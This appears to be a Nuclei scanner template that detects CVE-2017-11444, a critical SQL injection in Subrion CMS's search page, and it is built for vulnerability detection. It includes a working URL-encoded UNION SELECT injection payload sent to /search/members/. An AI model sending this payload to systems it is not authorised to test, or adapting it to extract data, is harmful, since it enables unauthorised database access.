id: CVE-2017-11444

info:
  name: Subrion CMS <4.1.5.10 - SQL Injection
  author: dwisiswant0
  severity: critical
  description: "Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array."
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Upgrade Subrion CMS to version 4.1.5.10 or later to mitigate this vulnerability.
  reference:
    - https://github.com/intelliants/subrion/issues/479
    - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11444
    - https://github.com/d4n-sec/d4n-sec.github.io
    - https://github.com/qazbnm456/awesome-cve-poc
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-11444
    cwe-id: CWE-89
    epss-score: 0.78593
    epss-percentile: 0.98984
    cpe: cpe:2.3:a:intelliants:subrion_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: intelliants
    product: subrion_cms
  tags: cve2017,cve,sqli,subrion,intelliants
variables:
  string: "{{to_lower(rand_base(5))}}"
  hex_string: "{{hex_encode(string)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%27{{hex_string}}%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{string}}'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100acf3621c44453c95dd45eaa8063194bc18bb701346ed4193b43d5bb6212fc85a02203a5a215c7b7a781c7835b67aa71ec0c2eb2bab70fe2e9d249b26b05706925042:922c64590222798bb761d5b6d8e72950